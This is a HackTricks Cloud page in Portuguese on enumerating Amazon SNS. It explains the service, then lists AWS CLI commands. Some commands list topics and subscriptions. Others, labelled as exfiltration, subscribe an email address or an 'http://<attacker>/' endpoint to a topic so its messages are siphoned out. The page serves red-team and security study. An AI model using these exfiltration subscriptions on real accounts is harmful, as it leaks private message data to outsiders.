AWS - SNS Enum
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SNS
O Amazon Simple Notification Service (Amazon SNS) é descrito como um serviço de mensagens totalmente gerenciado. Ele suporta tanto comunicação de aplicação para aplicação (A2A) quanto comunicação de aplicação para pessoa (A2P).
As principais características para comunicação A2A incluem mecanismos de publicação/inscrição (pub/sub). Esses mecanismos introduzem tópicos, cruciais para permitir mensagens baseadas em push, de muitos para muitos e de alto desempenho. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma ampla gama de sistemas assinantes, facilitando um padrão de mensagens de fanout.
Diferença com SQS
SQS é um serviço baseado em fila que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um único consumidor. Ele oferece entrega de pelo menos uma vez, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado.
Por outro lado, SNS é um serviço baseado em publicação/inscrição, permitindo comunicação de um para muitos ao transmitir mensagens para múltiplos assinantes simultaneamente. Ele suporta vários endpoints de assinatura, como email, SMS, funções Lambda e HTTP/HTTPS, e fornece mecanismos de filtragem para entrega de mensagens direcionadas.
Enquanto ambos os serviços permitem desacoplamento entre componentes em sistemas distribuídos, o SQS foca na comunicação em fila, e o SNS enfatiza padrões de comunicação orientados a eventos e de fan-out.
Enumeração
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
caution
Note que se o tópico for do tipo FIFO, apenas assinantes usando o protocolo SQS podem ser utilizados (HTTP ou HTTPS não podem ser usados).
Além disso, mesmo que o --topic-arn
contenha a região, certifique-se de especificar a região correta em --region
ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.
Acesso Não Autenticado
AWS - SNS Unauthenticated Enum
Escalação de Privilégios
Pós Exploração
Persistência
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.